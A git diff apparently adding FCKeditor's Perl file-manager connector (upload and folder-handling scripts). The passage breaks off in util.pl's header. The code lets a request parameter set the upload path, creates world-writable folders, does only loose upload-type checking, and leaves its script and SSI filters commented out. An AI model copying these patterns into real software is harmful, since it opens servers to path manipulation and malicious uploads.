+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#              Frederico Caldeira Knabben (www.fckeditor.net)
+#####
+
+##
+# ATTENTION: To enable this connector, look for the "SECURITY" comment in this file.
+##
+
+## START: Hack for Windows (Not important to understand the editor code... Perl specific).
+if(Windows_check()) {
+       chdir(GetScriptPath($0));
+}
+
+sub Windows_check
+{
+       # IIS,PWS(NT/95)
+       $www_server_os = $^O;
+       # Win98 & NT(SP4)
+       if($www_server_os eq "") { $www_server_os= $ENV{'OS'}; }
+       # AnHTTPd/Omni/IIS
+       if($ENV{'SERVER_SOFTWARE'} =~ /AnWeb|Omni|IIS\//i) { $www_server_os= 'win'; }
+       # Win Apache
+       if($ENV{'WINDIR'} ne "") { $www_server_os= 'win'; }
+       if($www_server_os=~ /win/i) { return(1); }
+       return(0);
+}
+
+sub GetScriptPath {
+       local($path) = @_;
+       if($path =~ /[\:\/\\]/) { $path =~ s/(.*?)[\/\\][^\/\\]+$/$1/; } else { $path = '.'; }
+       $path;
+}
+## END: Hack for IIS
+
+require 'util.pl';
+require 'io.pl';
+require 'basexml.pl';
+require 'commands.pl';
+require 'upload_fck.pl';
+
+##
+# SECURITY: REMOVE/COMMENT THE FOLLOWING LINE TO ENABLE THIS CONNECTOR.
+##
+&SendError( 1, 'This connector is disabled. Please check the "editor/filemanager/browser/default/connectors/perl/connector.cgi" file' ) ;
+
+       &read_input();
+
+       if($FORM{'ServerPath'} ne "") {
+               $GLOBALS{'UserFilesPath'} = $FORM{'ServerPath'};
+               if(!($GLOBALS{'UserFilesPath'} =~ /\/$/)) {
+                       $GLOBALS{'UserFilesPath'} .= '/' ;
+               }
+       } else {
+               $GLOBALS{'UserFilesPath'} = '/userfiles/';
+       }
+
+       # Map the "UserFiles" path to a local directory.
+       $rootpath = &GetRootPath();
+       $GLOBALS{'UserFilesDirectory'} = $rootpath . $GLOBALS{'UserFilesPath'};
+
+       &DoResponse();
+
+sub DoResponse
+{
+
+       if($FORM{'Command'} eq "" || $FORM{'Type'} eq "" || $FORM{'CurrentFolder'} eq "") {
+               return ;
+       }
+       # Get the main request informaiton.
+       $sCommand               = $FORM{'Command'};
+       $sResourceType  = $FORM{'Type'};
+       $sCurrentFolder = $FORM{'CurrentFolder'};
+
+       # Check the current folder syntax (must begin and start with a slash).
+       if(!($sCurrentFolder =~ /\/$/)) {
+               $sCurrentFolder .= '/';
+       }
+       if(!($sCurrentFolder =~ /^\//)) {
+               $sCurrentFolder = '/' . $sCurrentFolder;
+       }
+       
+       # Check for invalid folder paths (..)
+       if ( $sCurrentFolder =~ /\.\./ ) {
+               SendError( 102, "" ) ;
+       }
+
+       # File Upload doesn't have to Return XML, so it must be intercepted before anything.
+       if($sCommand eq 'FileUpload') {
+               FileUpload($sResourceType,$sCurrentFolder);
+               return ;
+       }
+
+       print << "_HTML_HEAD_";
+Content-Type:text/xml; charset=utf-8
+Pragma: no-cache
+Cache-Control: no-cache
+Expires: Thu, 01 Dec 1994 16:00:00 GMT
+
+_HTML_HEAD_
+
+       &CreateXmlHeader($sCommand,$sResourceType,$sCurrentFolder);
+       
+       # Execute the required command.
+       if($sCommand eq 'GetFolders') {
+               &GetFolders($sResourceType,$sCurrentFolder);
+       } elsif($sCommand eq 'GetFoldersAndFiles') {
+               &GetFoldersAndFiles($sResourceType,$sCurrentFolder);
+       } elsif($sCommand eq 'CreateFolder') {
+               &CreateFolder($sResourceType,$sCurrentFolder);
+       }
+       
+       &CreateXmlFooter();
+       
+       exit ;
+}
+
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/io.pl b/fckeditor/editor/filemanager/browser/default/connectors/perl/io.pl
new file mode 100755 (executable)
index 0000000..2cf75e0
--- /dev/null
@@ -0,0 +1,135 @@
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: io.pl
+#      This is the File Manager Connector for Perl.
+#  
+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#####
+
+sub GetUrlFromPath
+{
+       local($resourceType, $folderPath) = @_;
+
+       if($resourceType eq '') {
+               $rmpath = &RemoveFromEnd($GLOBALS{'UserFilesPath'},'/');
+               return("$rmpath$folderPath");
+       } else {
+               return("$GLOBALS{'UserFilesPath'}$resourceType$folderPath");
+       }
+}
+
+sub RemoveExtension
+{
+       local($fileName) = @_;
+       local($path, $base, $ext);
+       if($fileName !~ /\./) {
+               $fileName .= '.';
+       }
+       if($fileName =~ /([^\\\/]*)\.(.*)$/) {
+               $base = $1;
+               $ext  = $2;
+               if($fileName =~ /(.*)$base\.$ext$/) {
+                       $path = $1;
+               }
+       }
+       return($path,$base,$ext);
+
+}
+
+sub ServerMapFolder
+{
+       local($resourceType,$folderPath) = @_;
+
+       # Get the resource type directory.
+       $sResourceTypePath = $GLOBALS{'UserFilesDirectory'} . $resourceType . '/';
+
+       # Ensure that the directory exists.
+       &CreateServerFolder($sResourceTypePath);
+
+       # Return the resource type directory combined with the required path.
+       $rmpath = &RemoveFromStart($folderPath,'/');
+       return("$sResourceTypePath$rmpath");
+}
+
+sub GetParentFolder
+{
+       local($folderPath) = @_;
+
+       $folderPath =~ s/[\/][^\/]+[\/]?$//g;
+       return $folderPath;
+}
+
+sub CreateServerFolder
+{
+       local($folderPath) = @_;
+
+       $sParent = &GetParentFolder($folderPath);
+       # Check if the parent exists, or create it.
+       if(!(-e $sParent)) {
+               $sErrorMsg = &CreateServerFolder($sParent);
+               if($sErrorMsg == 1) {
+                       return(1);
+               }
+       }
+       if(!(-e $folderPath)) {
+               umask(000);
+               mkdir("$folderPath",0777);
+               chmod(0777,"$folderPath");
+               return(0);
+       } else {
+               return(1);
+       }
+}
+
+sub GetRootPath
+{
+#use Cwd;
+
+#      my $dir = getcwd;
+#      print $dir;
+#      $dir  =~ s/$ENV{'DOCUMENT_ROOT'}//g;
+#      print $dir;
+#      return($dir);
+
+#      $wk = $0;
+#      $wk =~ s/\/connector\.cgi//g;
+#      if($wk) {
+#              $current_dir = $wk;
+#      } else {
+#              $current_dir = `pwd`;
+#      }
+#      return($current_dir);
+use Cwd;
+
+       if($ENV{'DOCUMENT_ROOT'}) {
+               $dir = $ENV{'DOCUMENT_ROOT'};
+       } else {
+               my $dir = getcwd;
+               $workdir =~ s/\/connector\.cgi//g;
+               $dir  =~ s/$workdir//g;
+       }
+       return($dir);
+
+
+
+}
+1;
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/upload_fck.pl b/fckeditor/editor/filemanager/browser/default/connectors/perl/upload_fck.pl
new file mode 100755 (executable)
index 0000000..fbfafeb
--- /dev/null
@@ -0,0 +1,671 @@
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: upload_fck.pl
+#      This is the File Manager Connector for Perl.
+#  
+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#####
+
+# image data save dir
+$img_dir       = './temp/';
+
+
+# File size max(unit KB)
+$MAX_CONTENT_SIZE =  30000;
+
+# Filelock (1=use,0=not use)
+$PM{'flock'}           = '1';
+
+
+# upload Content-Type list
+my %UPLOAD_CONTENT_TYPE_LIST = (
+       'image/(x-)?png'                                                =>      'png',  # PNG image
+       'image/p?jpe?g'                                                 =>      'jpg',  # JPEG image
+       'image/gif'                                                             =>      'gif',  # GIF image
+       'image/x-xbitmap'                                               =>      'xbm',  # XBM image
+
+       'image/(x-(MS-)?)?bmp'                                  =>      'bmp',  # Windows BMP image
+       'image/pict'                                                    =>      'pict', # Macintosh PICT image
+       'image/tiff'                                                    =>      'tif',  # TIFF image
+       'application/pdf'                                               =>      'pdf',  # PDF image
+       'application/x-shockwave-flash'                 =>      'swf',  # Shockwave Flash
+
+       'video/(x-)?msvideo'                                    =>      'avi',  # Microsoft Video
+       'video/quicktime'                                               =>      'mov',  # QuickTime Video
+       'video/mpeg'                                                    =>      'mpeg', # MPEG Video
+       'video/x-mpeg2'                                                 =>      'mpv2', # MPEG2 Video
+
+       'audio/(x-)?midi?'                                              =>      'mid',  # MIDI Audio
+       'audio/(x-)?wav'                                                =>      'wav',  # WAV Audio
+       'audio/basic'                                                   =>      'au',   # ULAW Audio
+       'audio/mpeg'                                                    =>      'mpga', # MPEG Audio
+
+       'application/(x-)?zip(-compressed)?'    =>      'zip',  # ZIP Compress
+
+       'text/html'                                                             =>      'html', # HTML
+       'text/plain'                                                    =>      'txt',  # TEXT
+       '(?:application|text)/(?:rtf|richtext)' =>      'rtf',  # RichText
+
+       'application/msword'                                    =>      'doc',  # Microsoft Word
+       'application/vnd.ms-excel'                              =>      'xls',  # Microsoft Excel
+
+       ''
+);
+
+# Upload is permitted.
+# A regular expression is possible.
+my %UPLOAD_EXT_LIST = (
+       'png'                                   =>      'PNG image',
+       'p?jpe?g|jpe|jfif|pjp'  =>      'JPEG image',
+       'gif'                                   =>      'GIF image',
+       'xbm'                                   =>      'XBM image',
+
+       'bmp|dib|rle'                   =>      'Windows BMP image',
+       'pi?ct'                                 =>      'Macintosh PICT image',
+       'tiff?'                                 =>      'TIFF image',
+       'pdf'                                   =>      'PDF image',
+       'swf'                                   =>      'Shockwave Flash',
+
+       'avi'                                   =>      'Microsoft Video',
+       'moo?v|qt'                              =>      'QuickTime Video',
+       'm(p(e?gv?|e|v)|1v)'    =>      'MPEG Video',
+       'mp(v2|2v)'                             =>      'MPEG2 Video',
+
+       'midi?|kar|smf|rmi|mff' =>      'MIDI Audio',
+       'wav'                                   =>      'WAVE Audio',
+       'au|snd'                                =>      'ULAW Audio',
+       'mp(e?ga|2|a|3)|abs'    =>      'MPEG Audio',
+
+       'zip'                                   =>      'ZIP Compress',
+       'lzh'                                   =>      'LZH Compress',
+       'cab'                                   =>      'CAB Compress',
+
+       'd?html?'                               =>      'HTML',
+       'rtf|rtx'                               =>      'RichText',
+       'txt|text'                              =>      'Text',
+
+       ''
+);
+
+
+# sjis or euc
+my $CHARCODE = 'sjis';
+
+$TRANS_2BYTE_CODE = 0;
+
+##############################################################################
+# Summary
+#
+# Form Read input
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+sub read_input
+{
+eval("use File::Copy;");
+eval("use File::Path;");
+
+       my ($FORM) = @_;
+
+
+       mkdir($img_dir,0777);
+       chmod(0777,$img_dir);
+
+       undef $img_data_exists;
+       undef @NEWFNAMES;
+       undef @NEWFNAME_DATA;
+
+       if($ENV{'CONTENT_LENGTH'} > 10000000 || $ENV{'CONTENT_LENGTH'} > $MAX_CONTENT_SIZE * 1024) {
+               &upload_error(
+                       'Size Error',
+                       sprintf(
+                               "Transmitting size is too large.MAX <strong>%d KB</strong> Now Size <strong>%d KB</strong>(<strong>%d bytes</strong> Over)",
+                               $MAX_CONTENT_SIZE,
+                               int($ENV{'CONTENT_LENGTH'} / 1024),
+                               $ENV{'CONTENT_LENGTH'} - $MAX_CONTENT_SIZE * 1024
+                       )
+               );
+       }
+
+       my $Buffer;
+       if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data/) {
+               # METHOD POST only
+               return  unless($ENV{'CONTENT_LENGTH'});
+
+               binmode(STDIN);
+               # STDIN A pause character is detected.'(MacIE3.0 boundary of $ENV{'CONTENT_TYPE'} cannot be trusted.)
+               my $Boundary = <STDIN>;
+               $Boundary =~ s/\x0D\x0A//;
+               $Boundary = quotemeta($Boundary);
+               while(<STDIN>) {
+                       if(/^\s*Content-Disposition:/i) {
+                               my($name,$ContentType,$FileName);
+                               # form data get
+                               if(/\bname="([^"]+)"/i || /\bname=([^\s:;]+)/i) {
+                                       $name = $1;
+                                       $name   =~ tr/+/ /;
+                                       $name   =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
+                                       &Encode(\$name);
+                               }
+                               if(/\bfilename="([^"]*)"/i || /\bfilename=([^\s:;]*)/i) {
+                                       $FileName = $1 || 'unknown';
+                               }
+                               # head read
+                               while(<STDIN>) {
+                                       last    if(! /\w/);
+                                       if(/^\s*Content-Type:\s*"([^"]+)"/i || /^\s*Content-Type:\s*([^\s:;]+)/i) {
+                                               $ContentType = $1;
+                                       }
+                               }
+                               # body read
+                               $value = "";
+                               while(<STDIN>) {
+                                       last    if(/^$Boundary/o);
+                                       $value .= $_;
+                               };
+                               $lastline = $_;
+                               $value =~s /\x0D\x0A$//;
+                               if($value ne '') {
+                                       if($FileName || $ContentType) {
+                                               $img_data_exists = 1;
+                                               (
+                                                       $FileName,              #
+                                                       $Ext,                   #
+                                                       $Length,                #
+                                                       $ImageWidth,    #
+                                                       $ImageHeight,   #
+                                                       $ContentName    #
+                                               ) = &CheckContentType(\$value,$FileName,$ContentType);
+                                               
+                                               $FORM{$name}    = $FileName;
+                                               $new_fname              = $FileName;
+                                               push(@NEWFNAME_DATA,"$FileName\t$Ext\t$Length\t$ImageWidth\t$ImageHeight\t$ContentName");
+
+                                               # Multi-upload correspondence
+                                               push(@NEWFNAMES,$new_fname);
+                                               open(OUT,">$img_dir/$new_fname");
+                                               binmode(OUT);
+                                               eval "flock(OUT,2);" if($PM{'flock'} == 1);
+                                               print OUT $value;
+                                               eval "flock(OUT,8);" if($PM{'flock'} == 1);
+                                               close(OUT);
+
+                                       } elsif($name) {
+                                               $value  =~ tr/+/ /;
+                                               $value  =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
+                                               &Encode(\$value,'trans');
+                                               $FORM{$name} .= "\0"                    if(defined($FORM{$name}));
+                                               $FORM{$name} .= $value;
+                                       }
+                               }
+                       };
+                       last if($lastline =~ /^$Boundary\-\-/o);
+               }
+       } elsif($ENV{'CONTENT_LENGTH'}) {
+               read(STDIN,$Buffer,$ENV{'CONTENT_LENGTH'});
+       }
+       foreach(split(/&/,$Buffer),split(/&/,$ENV{'QUERY_STRING'})) {
+               my($name, $value) = split(/=/);
+               $name   =~ tr/+/ /;
+               $name   =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
+               $value  =~ tr/+/ /;
+               $value  =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
+
+               &Encode(\$name);
+               &Encode(\$value,'trans');
+               $FORM{$name} .= "\0"                    if(defined($FORM{$name}));
+               $FORM{$name} .= $value;
+
+       }
+
+}
+
+##############################################################################
+# Summary
+#
+#      CheckContentType
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+sub CheckContentType
+{
+
+       my($DATA,$FileName,$ContentType) = @_;
+       my($Ext,$ImageWidth,$ImageHeight,$ContentName,$Infomation);
+       my $DataLength = length($$DATA);
+
+       # An unknown file type
+
+       $_ = $ContentType;
+       my $UnknownType = (
+               !$_
+               || /^application\/(x-)?macbinary$/i
+               || /^application\/applefile$/i
+               || /^application\/octet-stream$/i
+               || /^text\/plane$/i
+               || /^x-unknown-content-type/i
+       );
+
+       # MacBinary(Mac Unnecessary data are deleted.)
+       if($UnknownType || $ENV{'HTTP_USER_AGENT'} =~ /Macintosh|Mac_/) {
+               if($DataLength > 128 && !unpack("C",substr($$DATA,0,1)) && !unpack("C",substr($$DATA,74,1)) && !unpack("C",substr($$DATA,82,1)) ) {
+                       my $MacBinary_ForkLength = unpack("N", substr($$DATA, 83, 4));          # ForkLength Get
+                       my $MacBinary_FileName = quotemeta(substr($$DATA, 2, unpack("C",substr($$DATA, 1, 1))));
+                       if($MacBinary_FileName && $MacBinary_ForkLength && $DataLength >= $MacBinary_ForkLength + 128
+                                       && ($FileName =~ /$MacBinary_FileName/i || substr($$DATA,102,4) eq 'mBIN')) {   # DATA TOP 128byte MacBinary!!
+                               $$DATA                          = substr($$DATA,128,$MacBinary_ForkLength);
+                               my $ResourceLength      = $DataLength - $MacBinary_ForkLength - 128;
+                               $DataLength                     = $MacBinary_ForkLength;
+                       }
+               }
+       }
+
+       # A file name is changed into EUC.
+#      &jcode::convert(\$FileName,'euc',$FormCodeDefault);
+#      &jcode::h2z_euc(\$FileName);
+       $FileName =~ s/^.*\\//;                                 # Windows, Mac
+       $FileName =~ s/^.*\///;                                 # UNIX
+       $FileName =~ s/&/&amp;/g;
+       $FileName =~ s/"/&quot;/g;
+       $FileName =~ s/</&lt;/g;
+       $FileName =~ s/>/&gt;/g;
+#
+#      if($CHARCODE ne 'euc') {
+#              &jcode::convert(\$FileName,$CHARCODE,'euc');
+#      }
+
+       # An extension is extracted and it changes into a small letter.
+       my $FileExt;
+       if($FileName =~ /\.(\w+)$/) {
+               $FileExt = $1;
+               $FileExt =~ tr/A-Z/a-z/;
+       }
+
+       # Executable file detection (ban on upload)
+       if($$DATA =~ /^MZ/) {
+               $Ext = 'exe';
+       }
+       # text
+       if(!$Ext && ($UnknownType || $ContentType =~ /^text\//i || $ContentType =~ /^application\/(?:rtf|richtext)$/i || $ContentType =~ /^image\/x-xbitmap$/i)
+                               && ! $$DATA =~ /[\000-\006\177\377]/) {
+#              $$DATA =~ s/\x0D\x0A/\n/g;
+#              $$DATA =~ tr/\x0D\x0A/\n\n/;
+#
+#              if(
+#                      $$DATA =~ /<\s*SCRIPT(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*(?:.|\n)*?\bONLOAD\s*=(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*(?:.|\n)*?\bONCLICK\s*=(?:.|\n)*?>/i
+#                              ) {
+#                      $Infomation = '(JavaScript contains)';
+#              }
+#              if($$DATA =~ /<\s*TABLE(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*BLINK(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*MARQUEE(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*OBJECT(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*EMBED(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*FRAME(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*APPLET(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*FORM(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*(?:.|\n)*?\bSRC\s*=(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*(?:.|\n)*?\bDYNSRC\s*=(?:.|\n)*?>/i
+#                              ) {
+#                      $Infomation = '(the HTML tag which is not safe is included)';
+#              }
+
+               if($FileExt =~ /^txt$/i || $FileExt =~ /^cgi$/i || $FileExt =~ /^pl$/i) {                                                               # Text File
+                       $Ext = 'txt';
+               } elsif($ContentType =~ /^text\/html$/i || $FileExt =~ /html?/i || $$DATA =~ /<\s*HTML(?:.|\n)*?>/i) {  # HTML File
+                       $Ext = 'html';
+               } elsif($ContentType =~ /^image\/x-xbitmap$/i || $FileExt =~ /^xbm$/i) {                                                                # XBM(x-BitMap) Image
+                       my $XbmName = $1;
+                       my ($XbmWidth, $XbmHeight);
+                       if($$DATA =~ /\#define\s*$XbmName\_width\s*(\d+)/i) {
+                               $XbmWidth = $1;
+                       }
+                       if($$DATA =~ /\#define\s*$XbmName\_height\s*(\d+)/i) {
+                               $XbmHeight = $1;
+                       }
+                       if($XbmWidth && $XbmHeight) {
+                               $Ext = 'xbm';
+                               $ImageWidth             = $XbmWidth;
+                               $ImageHeight    = $XbmHeight;
+                       }
+               } else {                # 
+                       $Ext = 'txt';
+               }
+       }
+
+       # image
+       if(!$Ext && ($UnknownType || $ContentType =~ /^image\//i)) {
+               # PNG
+               if($$DATA =~ /^\x89PNG\x0D\x0A\x1A\x0A/) {
+                       if(substr($$DATA, 12, 4) eq 'IHDR') {
+                               $Ext = 'png';
+                               ($ImageWidth, $ImageHeight) = unpack("N2", substr($$DATA, 16, 8));
+                       }
+               } elsif($$DATA =~ /^GIF8(?:9|7)a/) {                                                                                                                    # GIF89a(modified), GIF89a, GIF87a
+                       $Ext = 'gif';
+                       ($ImageWidth, $ImageHeight) = unpack("v2", substr($$DATA, 6, 4));
+               } elsif($$DATA =~ /^II\x2a\x00\x08\x00\x00\x00/ || $$DATA =~ /^MM\x00\x2a\x00\x00\x00\x08/) {   # TIFF
+                       $Ext = 'tif';
+               } elsif($$DATA =~ /^BM/) {                                                                                                                                              # BMP
+                       $Ext = 'bmp';
+               } elsif($$DATA =~ /^\xFF\xD8\xFF/ || $$DATA =~ /JFIF/) {                                                                                # JPEG
+                       my $HeaderPoint = index($$DATA, "\xFF\xD8\xFF", 0);
+                       my $Point = $HeaderPoint + 2;
+                       while($Point < $DataLength) {
+                               my($Maker, $MakerType, $MakerLength) = unpack("C2n",substr($$DATA,$Point,4));
+                               if($Maker != 0xFF || $MakerType == 0xd9 || $MakerType == 0xda) {
+                                       last;
+                               } elsif($MakerType >= 0xC0 && $MakerType <= 0xC3) {
+                                       $Ext = 'jpg';
+                                       ($ImageHeight, $ImageWidth) = unpack("n2", substr($$DATA, $Point + 5, 4));
+                                       if($HeaderPoint > 0) {
+                                               $$DATA = substr($$DATA, $HeaderPoint);
+                                               $DataLength = length($$DATA);
+                                       }
+                                       last;
+                               } else {
+                                       $Point += $MakerLength + 2;
+                               }
+                       }
+               }
+       }
+
+       # audio
+       if(!$Ext && ($UnknownType || $ContentType =~ /^audio\//i)) {
+               # MIDI Audio
+               if($$DATA =~ /^MThd/) {
+                       $Ext = 'mid';
+               } elsif($$DATA =~ /^\x2esnd/) {         # ULAW Audio
+                       $Ext = 'au';
+               } elsif($$DATA =~ /^RIFF/ || $$DATA =~ /^ID3/ && $$DATA =~ /RIFF/) {
+                       my $HeaderPoint = index($$DATA, "RIFF", 0);
+                       $_ = substr($$DATA, $HeaderPoint + 8, 8);
+                       if(/^WAVEfmt $/) {
+                               # WAVE
+                               if(unpack("V",substr($$DATA, $HeaderPoint + 16, 4)) == 16) {
+                                       $Ext = 'wav';
+                               } else {                                        # RIFF WAVE MP3
+                                       $Ext = 'mp3';
+                               }
+                       } elsif(/^RMIDdata$/) {                 # RIFF MIDI
+                               $Ext = 'rmi';
+                       } elsif(/^RMP3data$/) {                 # RIFF MP3
+                               $Ext = 'rmp';
+                       }
+                       if($ContentType =~ /^audio\//i) {
+                               $Infomation .= '(RIFF '. substr($$DATA, $HeaderPoint + 8, 4). ')';
+                       }
+               }
+       }
+
+       # a binary file
+       unless ($Ext) {
+               # PDF image
+               if($$DATA =~ /^\%PDF/) {
+                       # Picture size is not measured.
+                       $Ext = 'pdf';
+               } elsif($$DATA =~ /^FWS/) {             # Shockwave Flash
+                       $Ext = 'swf';
+               } elsif($$DATA =~ /^RIFF/ || $$DATA =~ /^ID3/ && $$DATA =~ /RIFF/) {
+                       my $HeaderPoint = index($$DATA, "RIFF", 0);
+                       $_ = substr($$DATA,$HeaderPoint + 8, 8);
+                       # AVI
+                       if(/^AVI LIST$/) {
+                               $Ext = 'avi';
+                       }
+                       if($ContentType =~ /^video\//i) {
+                               $Infomation .= '(RIFF '. substr($$DATA, $HeaderPoint + 8, 4). ')';
+                       }
+               } elsif($$DATA =~ /^PK/) {                      # ZIP Compress File
+                       $Ext = 'zip';
+               } elsif($$DATA =~ /^MSCF/) {            # CAB Compress File
+                       $Ext = 'cab';
+               } elsif($$DATA =~ /^Rar\!/) {           # RAR Compress File
+                       $Ext = 'rar';
+               } elsif(substr($$DATA, 2, 5) =~ /^\-lh(\d+|d)\-$/) {            # LHA Compress File
+                       $Infomation .= "(lh$1)";
+                       $Ext = 'lzh';
+               } elsif(substr($$DATA, 325, 25) eq "Apple Video Media Handler" || substr($$DATA, 325, 30) eq "Apple \x83\x72\x83\x66\x83\x49\x81\x45\x83\x81\x83\x66\x83\x42\x83\x41\x83\x6E\x83\x93\x83\x68\x83\x89") {
+                       # QuickTime
+                       $Ext = 'mov';
+               }
+       }
+
+       # Header analysis failure
+       unless ($Ext) {
+               # It will be followed if it applies for the MIME type from the browser.
+               foreach (keys %UPLOAD_CONTENT_TYPE_LIST) {
+                       next unless ($_);
+                       if($ContentType =~ /^$_$/i) {
+                               $Ext = $UPLOAD_CONTENT_TYPE_LIST{$_};
+                               $ContentName = &CheckContentExt($Ext);
+                               if(
+                                       grep {$_ eq $Ext;} (
+                                               'png',
+                                               'gif',
+                                               'jpg',
+                                               'xbm',
+                                               'tif',
+                                               'bmp',
+                                               'pdf',
+                                               'swf',
+                                               'mov',
+                                               'zip',
+                                               'cab',
+                                               'lzh',
+                                               'rar',
+                                               'mid',
+                                               'rmi',
+                                               'au',
+                                               'wav',
+                                               'avi',
+                                               'exe'
+                                       )
+                               ) {
+                                       $Infomation .= ' / Header analysis failure';
+                               }
+                               if($Ext ne $FileExt && &CheckContentExt($FileExt) eq $ContentName) {
+                                       $Ext = $FileExt;
+                               }
+                               last;
+                       }
+               }
+               # a MIME type is unknown--It judges from an extension.
+               unless ($Ext) {
+                       $ContentName = &CheckContentExt($FileExt);
+                       if($ContentName) {
+                               $Ext = $FileExt;
+                               $Infomation .= ' /      MIME type is unknown('. $ContentType. ')';
+                               last;
+                       }
+               }
+       }
+
+#      $ContentName = &CheckContentExt($Ext)   unless($ContentName);
+#      if($Ext && $ContentName) {
+#              $ContentName .=  $Infomation;
+#      } else {
+#              &upload_error(
+#                      'Extension Error',
+#                      "$FileName A not corresponding extension ($Ext)<BR>The extension which can be responded ". join(',', sort values(%UPLOAD_EXT_LIST))
+#              );
+#      }
+
+#      # SSI Tag Deletion
+#      if($Ext =~ /.?html?/ && $$DATA =~ /<\!/) {
+#              foreach (
+#                      'config',
+#                      'echo',
+#                      'exec',
+#                      'flastmod',
+#                      'fsize',
+#                      'include'
+#              ) {
+#                      $$DATA =~ s/\#\s*$_/\&\#35\;$_/ig
+#              }
+#      }
+
+       return (
+               $FileName,
+               $Ext,
+               int($DataLength / 1024 + 1),
+               $ImageWidth,
+               $ImageHeight,
+               $ContentName
+       );
+}
+
+##############################################################################
+# Summary
+#
+# Extension discernment
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+
+sub CheckContentExt
+{
+
+       my($Ext) = @_;
+       my $ContentName;
+       foreach (keys %UPLOAD_EXT_LIST) {
+               next    unless ($_);
+               if($_ && $Ext =~ /^$_$/) {
+                       $ContentName = $UPLOAD_EXT_LIST{$_};
+                       last;
+               }
+       }
+       return $ContentName;
+
+}
+
+##############################################################################
+# Summary
+#
+# Form decode
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+sub Encode
+{
+
+       my($value,$Trans) = @_;
+
+#      my $FormCode = &jcode::getcode($value) || $FormCodeDefault;
+#      $FormCodeDefault ||= $FormCode;
+#
+#      if($Trans && $TRANS_2BYTE_CODE) {
+#              if($FormCode ne 'euc') {
+#                      &jcode::convert($value, 'euc', $FormCode);
+#              }
+#              &jcode::tr(
+#                      $value,
+#                      "\xA3\xB0-\xA3\xB9\xA3\xC1-\xA3\xDA\xA3\xE1-\xA3\xFA",
+#                      '0-9A-Za-z'
+#              );
+#              if($CHARCODE ne 'euc') {
+#                      &jcode::convert($value,$CHARCODE,'euc');
+#              }
+#      } else {
+#              if($CHARCODE ne $FormCode) {
+#                      &jcode::convert($value,$CHARCODE,$FormCode);
+#              }
+#      }
+#      if($CHARCODE eq 'euc') {
+#              &jcode::h2z_euc($value);
+#      } elsif($CHARCODE eq 'sjis') {
+#              &jcode::h2z_sjis($value);
+#      }
+
+}
+
+##############################################################################
+# Summary
+#
+# Error Msg
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+
+sub upload_error
+{
+
+       local($error_message)   = $_[0];
+       local($error_message2)  = $_[1];
+
+       print "Content-type: text/html\n\n";
+       print<<EOF;
+<HTML>
+<HEAD>
+<TITLE>Error Message</TITLE></HEAD>
+<BODY>
+<table border="1" cellspacing="10" cellpadding="10">
+       <TR bgcolor="#0000B0">
+       <TD bgcolor="#0000B0" NOWRAP><font size="-1" color="white"><B>Error Message</B></font></TD>
+       </TR>
+</table>
+<UL>
+<H4> $error_message </H4>
+$error_message2 <BR>
+</UL>
+</BODY>
+</HTML>
+EOF
+       &rm_tmp_uploaded_files;                 # Image Temporary deletion
+       exit;
+}
+
+##############################################################################
+# Summary
+#
+# Image Temporary deletion
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+
+sub rm_tmp_uploaded_files
+{
+       if($img_data_exists == 1){
+               sleep 1;
+               foreach $fname_list(@NEWFNAMES) {
+                       if(-e "$img_dir/$fname_list") {
+                               unlink("$img_dir/$fname_list");
+                       }
+               }
+       }
+
+}
+1;
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/util.pl b/fckeditor/editor/filemanager/browser/default/connectors/perl/util.pl
new file mode 100755 (executable)
index 0000000..3c0db12
--- /dev/null
@@ -0,0 +1,64 @@
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
